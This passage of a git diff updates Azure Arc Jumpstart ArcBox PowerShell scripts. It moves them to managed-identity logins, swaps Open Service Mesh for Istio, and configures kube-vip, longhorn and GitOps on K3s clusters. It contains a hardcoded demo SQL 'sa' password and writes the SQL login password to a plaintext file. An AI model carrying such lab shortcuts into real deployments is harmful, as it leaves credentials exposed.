-S localhost -U $Env:AZDATA_USERNAME -P "$AZDATA_PASSWORD" -Q "RESTORE DATABASE AdventureWorks2019 FROM DISK = N'/var/opt/mssql/data/AdventureWorks2019.bak' WITH MOVE 'AdventureWorks2019' TO '/var/opt/mssql/data/AdventureWorks2019.mdf', MOVE 'AdventureWorks2019_Log' TO '/var/opt/mssql/data/AdventureWorks2019_Log.ldf'" 2>&1 $null + Write-Host "Restoring AdventureWorks database completed." } + Stop-Transcript } -while ($(Get-Job -Name arcbox).State -eq 'Running') { - Receive-Job -Name arcbox -WarningAction SilentlyContinue - Start-Sleep -Seconds 5 -} - -Get-Job -name arcbox | Remove-Job - Start-Transcript -Path "$Env:ArcBoxLogsDir\DeploySQLMIADAuth.log" -Append Write-Header "Generating endpoints file" +Write-Host "`n" + foreach ($sqlInstance in $sqlInstances){ # Retrieving SQL MI connection endpoint @@ -348,7 +347,7 @@ $env:AZDATA_USERNAME | Add-Content $Endpoints Add-Content $Endpoints "" Add-Content $Endpoints "SQL Managed Instance SQL login password:" -$env:AZDATA_PASSWORD | Add-Content $Endpoints +$AZDATA_PASSWORD | Add-Content $Endpoints Add-Content $Endpoints "" Add-Content $Endpoints "======================================================================" @@ -377,7 +376,7 @@ az sql instance-failover-group-arc create --shared-name ArcBoxDag --name primary Write-Host "`n" $cnameRecord = $sqlInstances[0].instanceName + ".jumpstart.local" -Add-DnsServerResourceRecordCName -Name "ArcBoxDag" -ComputerName $dcInfo.HostName -HostNameAlias $cnameRecord -ZoneName jumpstart.local -TimeToLive 00:05:00 +Add-DnsServerResourceRecordCName -Name "${namingPrefix}Dag" -ComputerName $dcInfo.HostName -HostNameAlias $cnameRecord -ZoneName jumpstart.local -TimeToLive 00:05:00 Write-Header "Creating Azure Data Studio settings for SQL Managed Instance connection with AD Authentication" @@ -385,14 +384,14 @@ Write-Header "Creating Azure Data Studio settings for SQL Managed Instance conne $settingsTemplateFile = "$Env:ArcBoxDir\settingsTemplate.json" $aks = $sqlInstances[1].instanceName + ".jumpstart.local" + ",$sqlmi_port" -$arcboxDag = "ArcBoxDag.jumpstart.local" + ",$sqlmi_port" +$arcboxDag = "${namingPrefix}Dag.jumpstart.local" + ",$sqlmi_port" $sa_username = $env:AZDATA_USERNAME -$sa_password = $env:AZDATA_PASSWORD +$sa_password = $AZDATA_PASSWORD $dagConnection = @" { "options": { - "connectionName": "ArcBoxDAG", + "connectionName": "${namingPrefix}DAG", "server": "$arcboxDag", "database": "", "authenticationType": "Integrated", @@ -411,7 +410,7 @@ $dagConnection = @" $aksConnection = @" { "options": { - "connectionName": "ArcBox-AKS", + "connectionName": "$namingPrefix-AKS", "server": "$aks", "database": "", "authenticationType": "Integrated", @@ -434,7 +433,7 @@ $sqlServerConnection = @" "database": "", "authenticationType": "SqlLogin", "user": "sa", - "password": "ArcDemo123!!", + "password": "JS123!!", "applicationName": "azdata", "groupId": "C777F06B-202E-4480-B475-FA416154D458", "databaseDisplayName": "" @@ -470,15 +469,11 @@ $Shortcut = $WScriptShell.CreateShortcut($ShortcutFile) $Shortcut.TargetPath = $TargetFile $Shortcut.Save() - -# Unzip SqlQueryStress -Expand-Archive -Path $Env:ArcBoxDir\SqlQueryStress.zip -DestinationPath $Env:ArcBoxDir\SqlQueryStress - # Create SQLQueryStress desktop shortcut Write-Host "`n" Write-Host "Creating SQLQueryStress Desktop shortcut" Write-Host "`n" -$TargetFile = "$Env:ArcBoxDir\SqlQueryStress\SqlQueryStress.exe" +$TargetFile = "$Env:ArcBoxDir\SqlQueryStress.exe" $ShortcutFile = "C:\Users\$Env:adminUsername\Desktop\SqlQueryStress.lnk" $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut($ShortcutFile) diff --git a/azure_jumpstart_arcbox/artifacts/DeploymentStatus.ps1 b/azure_jumpstart_arcbox/artifacts/DeploymentStatus.ps1 index ed5a391306..973ac2357c 100644 --- a/azure_jumpstart_arcbox/artifacts/DeploymentStatus.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DeploymentStatus.ps1 @@ -17,7 +17,7 @@ Write-Host "You now have $arcNumResources Azure Arc resources in '$Env:resourceG Write-Host "`n" # ArcBox Full edition report if applicabale -if ($Env:flavor -eq "Full" -Or $Env:flavor -eq "Developer") { +if ($Env:flavor -eq "DevOps") { if ( $arcNumResources -eq 11 ) { Write-Host "Great success!" diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 8ee3e7582f..e917fdab73 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -1,26 +1,73 @@ +$ErrorActionPreference = $env:ErrorActionPreference + $Env:TempDir = "C:\Temp" $Env:ToolsDir = "C:\Tools" $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" $Env:ArcBoxKVDir = "C:\ArcBox\KeyVault" $Env:ArcBoxIconDir = "C:\ArcBox\Icons" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" +$namingPrefix = ($Env:namingPrefix).toLower() -$osmReleaseVersion = "1.1.1-1" -$osmCLIReleaseVersion = "v1.2.3" -$osmMeshName = "osm" $ingressNamespace = "ingress-nginx" +$Env:AZCOPY_AUTO_LOGIN_TYPE = "MSI" -$certname = "ingress-cert" $certdns = "arcbox.devops.com" $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" +$clusters = @( + [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; context = "$namingPrefix-k3s-data" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config" } + + [pscustomobject]@{clusterName = $Env:k3sArcClusterName; context = "$namingPrefix-k3s" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s" } +) + Start-Transcript -Path $Env:ArcBoxLogsDir\DevOpsLogonScript.log +# Remove registry keys that are used to automatically logon the user (only used for first-time setup) +$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" +$keys = @("AutoAdminLogon", "DefaultUserName", "DefaultPassword") + +foreach ($key in $keys) { + try { + $property = Get-ItemProperty -Path $registryPath -Name $key -ErrorAction Stop + Remove-ItemProperty -Path $registryPath -Name $key + Write-Host "Removed registry key that are used to automatically logon the user: $key" + } catch { + Write-Verbose "Key $key does not exist." + } +} + +# Create Windows Terminal desktop shortcut +$WshShell = New-Object -comObject WScript.Shell +$WinTerminalPath = (Get-ChildItem "C:\Program Files\WindowsApps" -Recurse | Where-Object { $_.name -eq "wt.exe" }).FullName +$Shortcut = $WshShell.CreateShortcut("$Env:USERPROFILE\Desktop\Windows Terminal.lnk") +$Shortcut.TargetPath = $WinTerminalPath +$shortcut.WindowStyle = 3 +$shortcut.Save() + +# Create desktop shortcut for Logs-folder +$WshShell = New-Object -comObject WScript.Shell +$LogsPath = "C:\ArcBox\Logs" +$Shortcut = $WshShell.CreateShortcut("$Env:USERPROFILE\Desktop\Logs.lnk") +$Shortcut.TargetPath = $LogsPath +$shortcut.WindowStyle = 3 +$shortcut.Save() + +# Configure Windows Terminal as the default terminal application +$registryPath = "HKCU:\Console\%%Startup" + +if (Test-Path $registryPath) { + Set-ItemProperty -Path $registryPath -Name "DelegationConsole" -Value "{2EACA947-7F5F-4CFA-BA87-8F7FBEEFBE69}" + Set-ItemProperty -Path $registryPath -Name "DelegationTerminal" -Value "{E12CFF52-A866-4C77-9A90-F570A7AA2C6B}" +} else { + New-Item -Path $registryPath -Force | Out-Null + Set-ItemProperty -Path $registryPath -Name "DelegationConsole" -Value "{2EACA947-7F5F-4CFA-BA87-8F7FBEEFBE69}" + Set-ItemProperty -Path $registryPath -Name "DelegationTerminal" -Value "{E12CFF52-A866-4C77-9A90-F570A7AA2C6B}" +} + # Required for azcopy and Get-AzResource -$azurePassword = ConvertTo-SecureString $Env:spnClientSecret -AsPlainText -Force -$psCred = New-Object System.Management.Automation.PSCredential($Env:spnClientID , $azurePassword) -Connect-AzAccount -Credential $psCred -TenantId $Env:spnTenantId -ServicePrincipal +Connect-AzAccount -Identity -Tenant $env:tenantId -Subscription $env:subscriptionId $cliDir = New-Item -Path "$Env:ArcBoxDir\.cli\" -Name ".devops" -ItemType Directory @@ -31,96 +78,219 @@ if(-not $($cliDir.Parent.Attributes.HasFlag([System.IO.FileAttributes]::Hidden)) $Env:AZURE_CONFIG_DIR = $cliDir.FullName -$Env:capiArcDataClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "CAPI" | Where-Object { $_ -ne "" } -$Env:capiArcDataClusterName=$Env:capiArcDataClusterName -replace "`n","" - # Required for CLI commands Write-Header "Az CLI Login" -az login --service-principal --username $Env:spnClientID --password=$Env:spnClientSecret --tenant $Env:spnTenantId -az account set -s $Env:subscriptionId - -# Downloading CAPI Kubernetes cluster kubeconfig file -Write-Header "Downloading CAPI K8s Kubeconfig" -$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/staging-capi/config" -$context = (Get-AzStorageAccount -ResourceGroupName $Env:resourceGroup).Context -$sas = New-AzStorageAccountSASToken -Context $context -Service Blob -ResourceType Object -Permission racwdlup -$sourceFile = $sourceFile + "?" + $sas +az login --identity +az account set -s $env:subscriptionId + +# Downloading ArcBox-K3s-data Kubernetes cluster kubeconfig file +Write-Header "Downloading $namingPrefix-K3s-data K8s Kubeconfig" +$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcDataClusterName.ToLower())/config" azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:USERNAME\.kube\config" -# Downloading Rancher K3s cluster kubeconfig file -Write-Header "Downloading K3s Kubeconfig" -$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/staging-k3s/config" -$context = (Get-AzStorageAccount -ResourceGroupName $Env:resourceGroup).Context -$sas = New-AzStorageAccountSASToken -Context $context -Service Blob -ResourceType Object -Permission racwdlup -$sourceFile = $sourceFile + "?" + $sas -azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:USERNAME\.kube\config-k3s" +# Downloading ArcBox-K3s-data log file +Write-Header "Downloading $namingPrefix-K3s-data Install Logs" +$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcDataClusterName.ToLower())/*" +azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" -# Downloading 'installCAPI.log' log file -Write-Header "Downloading CAPI Install Logs" -$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/staging-capi/installCAPI.log" -$sourceFile = $sourceFile + "?" + $sas -azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\installCAPI.log" - -# Downloading 'installK3s.log' log file -Write-Header "Downloading K3s Install Logs" -$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/staging-k3s/installK3s.log" -$sourceFile = $sourceFile + "?" + $sas -azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\installK3s.log" - -# Merging kubeconfig files from CAPI and Rancher K3s -Write-Header "Merging CAPI & K3s Kubeconfigs" -Copy-Item -Path "C:\Users\$Env:USERNAME\.kube\config" -Destination "C:\Users\$Env:USERNAME\.kube\config.backup" -$Env:KUBECONFIG="C:\Users\$Env:USERNAME\.kube\config;C:\Users\$Env:USERNAME\.kube\config-k3s" -kubectl config view --raw > C:\users\$Env:USERNAME\.kube\config_tmp -kubectl config get-clusters --kubeconfig=C:\users\$Env:USERNAME\.kube\config_tmp -Remove-Item -Path "C:\Users\$Env:USERNAME\.kube\config" -Remove-Item -Path "C:\Users\$Env:USERNAME\.kube\config-k3s" -Move-Item -Path "C:\Users\$Env:USERNAME\.kube\config_tmp" -Destination "C:\users\$Env:USERNAME\.kube\config" +# Downloading ArcBox-K3s cluster kubeconfig file +Write-Header "Downloading $namingPrefix-K3s Kubeconfig" +$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcClusterName.ToLower())/config" +azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:USERNAME\.kube\config-k3s" $Env:KUBECONFIG="C:\users\$Env:USERNAME\.kube\config" -kubectx -# Download OSM binaries -Write-Header "Downloading OSM Binaries" -Invoke-WebRequest -Uri "https://github.com/openservicemesh/osm/releases/download/$osmCLIReleaseVersion/osm-$osmCLIReleaseVersion-windows-amd64.zip" -Outfile "$Env:TempDir\osm-$osmCLIReleaseVersion-windows-amd64.zip" -Expand-Archive "$Env:TempDir\osm-$osmCLIReleaseVersion-windows-amd64.zip" -DestinationPath $Env:TempDir -Copy-Item "$Env:TempDir\windows-amd64\osm.exe" -Destination $Env:ToolsDir +# Downloading ArcBox-K3s log file +Write-Header "Downloading $namingPrefix-K3s Install Logs" +$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcClusterName.ToLower())/*" +azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" Write-Header "Adding Tools Folder to PATH" [System.Environment]::SetEnvironmentVariable('PATH', $Env:PATH + ";$Env:ToolsDir" ,[System.EnvironmentVariableTarget]::Machine) $Env:PATH += ";$Env:ToolsDir" -# Create random 13 character string for Key Vault name -$strLen = 13 -$randStr = (-join ((0x30..0x39) + (0x61..0x7A) | Get-Random -Count $strLen | ForEach-Object {[char]$_})) -$Env:keyVaultName = "ArcBox-KV-$randStr" - -[System.Environment]::SetEnvironmentVariable('keyVaultName', $Env:keyVaultName, [System.EnvironmentVariableTarget]::Machine) - -# Create Azure Key Vault -Write-Header "Creating Azure KeyVault" -az keyvault create --name $Env:keyVaultName --resource-group $Env:resourceGroup --location $Env:azureLocation - -# Allow SPN to import certificates into Key Vault -Write-Header "Setting KeyVault Access Policies" -az keyvault set-policy --name $Env:keyVaultName --spn $Env:spnClientID --key-permissions --secret-permissions get --certificate-permissions get list import - # Making extension install dynamic az config set extension.use_dynamic_install=yes_without_prompt Write-Host "`n" az -v -# "Create OSM Kubernetes extension instance" -Write-Header "Creating OSM K8s Extension Instance" -az k8s-extension create ` - --name $osmMeshName ` - --extension-type Microsoft.openservicemesh ` - --scope cluster ` - --cluster-name $Env:capiArcDataClusterName ` - --resource-group $Env:resourceGroup ` - --cluster-type connectedClusters ` - --version $osmReleaseVersion ` - --auto-upgrade-minor-version 'false' +foreach ($cluster in $clusters) { + + Write-Header "Configuring kube-vip on K3s cluster" + $Env:KUBECONFIG=$cluster.kubeConfig + kubectx + + $nicName = $cluster.clusterName + "-NIC" + $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv + + Write-Header "Installing istio on K3s cluster" + istioctl install --skip-confirmation + +# Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml +$kubeVipRBAC = @" +apiVersion: v1 +kind: ServiceAccount +metadata: + name: kube-vip + namespace: kube-system +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + annotations: + rbac.authorization.kubernetes.io/autoupdate: "true" + name: system:kube-vip-role +rules: + - apiGroups: [""] + resources: ["services/status"] + verbs: ["update"] + - apiGroups: [""] + resources: ["services", "endpoints"] + verbs: ["list","get","watch", "update"] + - apiGroups: [""] + resources: ["nodes"] + verbs: ["list","get","watch", "update", "patch"] + - apiGroups: ["coordination.k8s.io"] + resources: ["leases"] + verbs: ["list", "get", "watch", "update", "create"] + - apiGroups: ["discovery.k8s.io"] + resources: ["endpointslices"] + verbs: ["list","get","watch", "update"] +--- +kind: ClusterRoleBinding +apiVersion: rbac.authorization.k8s.io/v1 +metadata: + name: system:kube-vip-binding +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: system:kube-vip-role +subjects: +- kind: ServiceAccount + name: kube-vip + namespace: kube-system +"@ + +$kubeVipRBAC | kubectl apply -f - + +# Apply kube-vip DaemonSet +$kubeVipDaemonset = @" +apiVersion: apps/v1 +kind: DaemonSet +metadata: + creationTimestamp: null + labels: + app.kubernetes.io/name: kube-vip-ds + app.kubernetes.io/version: v0.7.0 + name: kube-vip-ds + namespace: kube-system +spec: + selector: + matchLabels: + app.kubernetes.io/name: kube-vip-ds + template: + metadata: + creationTimestamp: null + labels: + app.kubernetes.io/name: kube-vip-ds + app.kubernetes.io/version: v0.7.0 + spec: + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + - matchExpressions: + - key: node-role.kubernetes.io/master + operator: Exists + - matchExpressions: + - key: node-role.kubernetes.io/control-plane + operator: Exists + containers: + - args: + - manager + env: + - name: vip_arp + value: "true" + - name: port + value: "6443" + - name: vip_interface + value: eth0 + - name: vip_cidr + value: "32" + - name: dns_mode + value: first + - name: cp_enable + value: "true" + - name: cp_namespace + value: kube-system + - name: svc_enable + value: "true" + - name: svc_leasename + value: plndr-svcs-lock + - name: vip_leaderelection + value: "true" + - name: vip_leasename + value: plndr-cp-lock + - name: vip_leaseduration + value: "5" + - name: vip_renewdeadline + value: "3" + - name: vip_retryperiod + value: "1" + - name: address + value: "$k3sVIP" + - name: prometheus_server + value: :2112 + image: ghcr.io/kube-vip/kube-vip:v0.7.0 + imagePullPolicy: Always + name: kube-vip + resources: {} + securityContext: + capabilities: + add: + - NET_ADMIN + - NET_RAW + hostNetwork: true + serviceAccountName: kube-vip + tolerations: + - effect: NoSchedule + operator: Exists + - effect: NoExecute + operator: Exists + updateStrategy: {} +status: + currentNumberScheduled: 0 + desiredNumberScheduled: 0 + numberMisscheduled: 0 + numberReady: 0 +"@ + +$kubeVipDaemonset | kubectl apply -f - + + # Kube vip cloud controller + kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml + + # Set kube-vip range-global for kubernetes services + $serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``false``].privateIPAddress" -otsv + $sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} + $lowestServiceIp = $sortedIps[0] + $highestServiceIp = $sortedIps[-1] + + kubectl create configmap -n kube-system kubevip --from-literal range-global=$lowestServiceIp-$highestServiceIp + Start-Sleep -Seconds 30 + + Write-Header "Creating longhorn storage on $($cluster.clusterName)" + kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" --kubeconfig $cluster.kubeConfig + Start-Sleep -Seconds 30 + Write-Host "`n" +} +# Switch Kubernetes context to ArcBox-K3s-data cluster +foreach ($cluster in $clusters) { + if ($cluster.context -like '*-k3s-data') { + $Env:KUBECONFIG=$cluster.kubeConfig + kubectx + } +} # Create Kubernetes Namespaces Write-Header "Creating K8s Namespaces" @@ -128,13 +298,11 @@ foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse', 'hello-arc', kubectl create namespace $namespace } -# Add the bookstore namespaces to the OSM control plane -Write-Header "Adding Bookstore Namespaces to OSM" -osm namespace add bookstore bookbuyer bookwarehouse - -# To be able to discover the endpoints of this service, we need OSM controller to monitor the corresponding namespace. -# However, Nginx must NOT be injected with an Envoy sidecar to function properly. -osm namespace add "$ingressNamespace" --mesh-name "$osmMeshName" --disable-sidecar-injection +# Label Bookstore Namespaces for Istio injection +Write-Header "Labeling K8s Namespaces for Istio Injection" +foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse')) { + kubectl label namespace $namespace istio-injection=enabled +} ############################# # - Apply GitOps Configs @@ -145,114 +313,97 @@ Write-Header "Applying GitOps Configs" # Create GitOps config for NGINX Ingress Controller Write-Host "Creating GitOps config for NGINX Ingress Controller" az k8s-configuration flux create ` - --cluster-name $Env:capiArcDataClusterName ` + --cluster-name $Env:k3sArcDataClusterName ` --resource-group $Env:resourceGroup ` --name config-nginx ` --namespace $ingressNamespace ` --cluster-type connectedClusters ` --scope cluster ` --url $appClonedRepo ` - --branch main --sync-interval 3s ` + --branch $env:githubBranch --sync-interval 3s ` --kustomization name=nginx path=./nginx/release # Create GitOps config for Bookstore application Write-Host "Creating GitOps config for Bookstore application" az k8s-configuration flux create ` - --cluster-name $Env:capiArcDataClusterName ` + --cluster-name $Env:k3sArcDataClusterName ` --resource-group $Env:resourceGroup ` --name config-bookstore ` --cluster-type connectedClusters ` --url $appClonedRepo ` - --branch main --sync-interval 3s ` + --branch $env:githubBranch --sync-interval 3s ` --kustomization name=bookstore path=./bookstore/yaml # Create GitOps config for Bookstore RBAC Write-Host "Creating GitOps config for Bookstore RBAC" az k8s-configuration flux create ` - --cluster-name $Env:capiArcDataClusterName ` + --cluster-name $Env:k3sArcDataClusterName ` --resource-group $Env:resourceGroup ` --name config-bookstore-rbac ` --cluster-type connectedClusters ` --scope namespace ` --namespace bookstore ` --url $appClonedRepo ` - --branch main --sync-interval 3s ` + --branch $env:githubBranch --sync-interval 3s ` --kustomization name=bookstore path=./bookstore/rbac-sample -# Create GitOps config for Bookstore Traffic Split -Write-Host "Creating GitOps config for Bookstore Traffic Split" -az k8s-configuration flux create ` - --cluster-name $Env:capiArcDataClusterName ` - --resource-group $Env:resourceGroup ` - --name config-bookstore-osm ` - --cluster-type connectedClusters ` - --scope namespace ` - --namespace bookstore ` - --url $appClonedRepo ` - --branch main --sync-interval 3s ` - --kustomization name=bookstore path=./bookstore/osm-sample - # Create GitOps config for Hello-Arc application Write-Host "Creating GitOps config for Hello-Arc application" az k8s-configuration flux create ` - --cluster-name $Env:capiArcDataClusterName ` + --cluster-name $Env:k3sArcDataClusterName ` --resource-group $Env:resourceGroup ` --name config-helloarc ` --namespace hello-arc ` --cluster-type connectedClusters ` --scope namespace ` --url $appClonedRepo ` - --branch main --sync-interval 3s ` + --branch $env:githubBranch --sync-interval 3s ` --kustomization name=helloarc path=./hello-arc/yaml -################################################ -# - Install Key Vault Extension / Create Ingress -################################################ - -Write-Header "Installing KeyVault Extension" - -Write-Host "Generating a TLS Certificate" -$cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" -$certPassword = ConvertTo-SecureString -String "arcbox" -Force -AsPlainText -Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$certname.pfx" -Password $certPassword -Import-PfxCertificate -FilePath "$Env:TempDir\$certname.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword - -Write-Host "Importing the TLS certificate to Key Vault" -az keyvault certificate import ` - --vault-name $Env:keyVaultName ` - --password "arcbox" ` - --name $certname ` - --file "$Env:TempDir\$certname.pfx" - -Write-Host "Installing Azure Key Vault Kubernetes extension instance" -az k8s-extension create ` - --name 'akvsecretsprovider' ` - --extension-type Microsoft.AzureKeyVaultSecretsProvider ` - --scope cluster ` - --cluster-name $Env:capiArcDataClusterName ` - --resource-group $Env:resourceGroup ` - --cluster-type connectedClusters ` - --release-namespace kube-system ` - --configuration-settings 'secrets-store-csi-driver.enableSecretRotation=true' 'secrets-store-csi-driver.syncSecret.enabled=true' +$configs = $(az k8s-configuration flux list --cluster-name $Env:k3sArcDataClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup --query "[].name" -otsv) + +foreach ($configName in $configs) { + Write-Host "Checking GitOps configuration $configName on $Env:k3sArcDataClusterName" + $retryCount = 0 + $maxRetries = 5 + do { + $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcDataClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON + if ($configStatus.ComplianceState -eq "Compliant") { + Write-Host "GitOps configuration $configName is ready on $Env:k3sArcDataClusterName" + } + else { + if ($configStatus.ComplianceState -ne "Non-compliant") { + Start-Sleep -Seconds 60 + } + elseif ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -lt $maxRetries) { + Start-Sleep -Seconds 60 + $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcDataClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON + if ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -lt $maxRetries) { + $retryCount++ + } + } + elseif ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -eq $maxRetries) { + Write-Host "GitOps configuration $configName has failed on $Env:k3sArcDataClusterName. Exiting..." -ForegroundColor Red + break + } + } + } until ($configStatus.ComplianceState -eq "Compliant") +} +# ################################################ +# Create Ingress +# ################################################ # Replace Variable values Get-ChildItem -Path $Env:ArcBoxKVDir | ForEach-Object { - (Get-Content -path $_.FullName -Raw) -Replace '\{JS_CERTNAME}', $certname | Set-Content -Path $_.FullName - (Get-Content -path $_.FullName -Raw) -Replace '\{JS_KEYVAULTNAME}', $Env:keyVaultName | Set-Content -Path $_.FullName (Get-Content -path $_.FullName -Raw) -Replace '\{JS_HOST}', $certdns | Set-Content -Path $_.FullName - (Get-Content -path $_.FullName -Raw) -Replace '\{JS_TENANTID}', $Env:spnTenantId | Set-Content -Path $_.FullName } Write-Header "Creating Ingress Controller" # Deploy Ingress resources for Bookstore and Hello-Arc App foreach ($namespace in @('bookstore', 'bookbuyer', 'hello-arc')) { - # Create the Kubernetes secret with the service principal credentials - kubectl create secret generic secrets-store-creds --namespace $namespace --from-literal clientid=$Env:spnClientID --from-literal clientsecret=$Env:spnClientSecret - kubectl --namespace $namespace label secret secrets-store-creds secrets-store.csi.k8s.io/used=true - - # Deploy Key Vault resources and Ingress for Book Store and Hello-Arc App + # Deploy Ingress for Book Store and Hello-Arc App kubectl --namespace $namespace apply -f "$Env:ArcBoxKVDir\$namespace.yaml" } @@ -287,49 +438,31 @@ New-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallFo Write-Header "Creating Desktop Icons" -# Creating CAPI Hello Arc Icon on Desktop -$shortcutLocation = "$Env:Public\Desktop\CAPI Hello-Arc.lnk" +# Creating K3s Hello Arc Icon on Desktop +$shortcutLocation = "$Env:Public\Desktop\Hello-Arc.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) -$shortcut.TargetPath = "https://$certdns" +$shortcut.TargetPath = "http://$certdns" $shortcut.IconLocation="$Env:ArcBoxIconDir\arc.ico, 0" $shortcut.WindowStyle = 3 $shortcut.Save() -# Creating CAPI Bookstore Icon on Desktop -$shortcutLocation = "$Env:Public\Desktop\CAPI Bookstore.lnk" +# Creating K3s Bookstore Icon on Desktop +$shortcutLocation = "$Env:Public\Desktop\Bookstore.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) -$shortcut.TargetPath = "powershell.exe" +$shortcut.TargetPath = "pwsh.exe" $shortcut.Arguments = "-ExecutionPolicy Bypass -File $Env:ArcBoxDir\BookStoreLaunch.ps1" $shortcut.IconLocation="$Env:ArcBoxIconDir\bookstore.ico, 0" $shortcut.WindowStyle = 7 $shortcut.Save() -# Changing to Jumpstart ArcBox wallpaper -$code = @' -using System.Runtime.InteropServices; -namespace Win32{ - - public class Wallpaper{ - [DllImport("user32.dll", CharSet=CharSet.Auto)] - static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; - - public static void SetWallpaper(string thePath){ - SystemParametersInfo(20,0,thePath,3); - } - } - } -'@ +Write-Header "Changing wallpaper" -$ArcServersLogonScript = Get-WmiObject win32_process -filter 'name="powershell.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "ArcServersLogonScript.ps1" } +# bmp file is required for BGInfo +Convert-JSImageToBitMap -SourceFilePath "$Env:ArcBoxDir\wallpaper.png" -DestinationFilePath "$Env:ArcBoxDir\wallpaper.bmp" -if(-not $ArcServersLogonScript) { - Write-Header "Changing Wallpaper" - $imgPath="$Env:ArcBoxDir\wallpaper.png" - Add-Type $code - [Win32.Wallpaper]::SetWallpaper($imgPath) -} +Set-JSDesktopBackground -ImagePath "$Env:ArcBoxDir\wallpaper.bmp" # Removing the LogonScript Scheduled Task so it won't run on next reboot Write-Header "Removing Logon Task" @@ -339,13 +472,18 @@ if ($null -ne (Get-ScheduledTask -TaskName "DevOpsLogonScript" -ErrorAction Sile Start-Sleep -Seconds 5 -# Executing the deployment logs bundle PowerShell script in a new window -Write-Header "Uploading Log Bundle" -Invoke-Expression 'cmd /c start Powershell -Command { - $RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) - Write-Host "Sleeping for 5 seconds before creating deployment logs bundle..." - Start-Sleep -Seconds 5 - Write-Host "`n" - Write-Host "Creating deployment logs bundle" - 7z a $Env:ArcBoxLogsDir\LogsBundle-"$RandomString".zip $Env:ArcBoxLogsDir\*.log -}' +Write-Header "Running tests to verify infrastructure" + +& "$Env:ArcBoxTestsDir\Invoke-Test.ps1" + +Write-Header "Creating deployment logs bundle" + +$RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) +$LogsBundleTempDirectory = "$Env:windir\TEMP\LogsBundle-$RandomString" +$null = New-Item -Path $LogsBundleTempDirectory -ItemType Directory -Force + +#required to avoid "file is being used by another process" error when compressing the logs +Copy-Item -Path "$Env:ArcBoxLogsDir\*.log" -Destination $LogsBundleTempDirectory -Force -PassThru +Compress-Archive -Path "$LogsBundleTempDirectory\*.log" 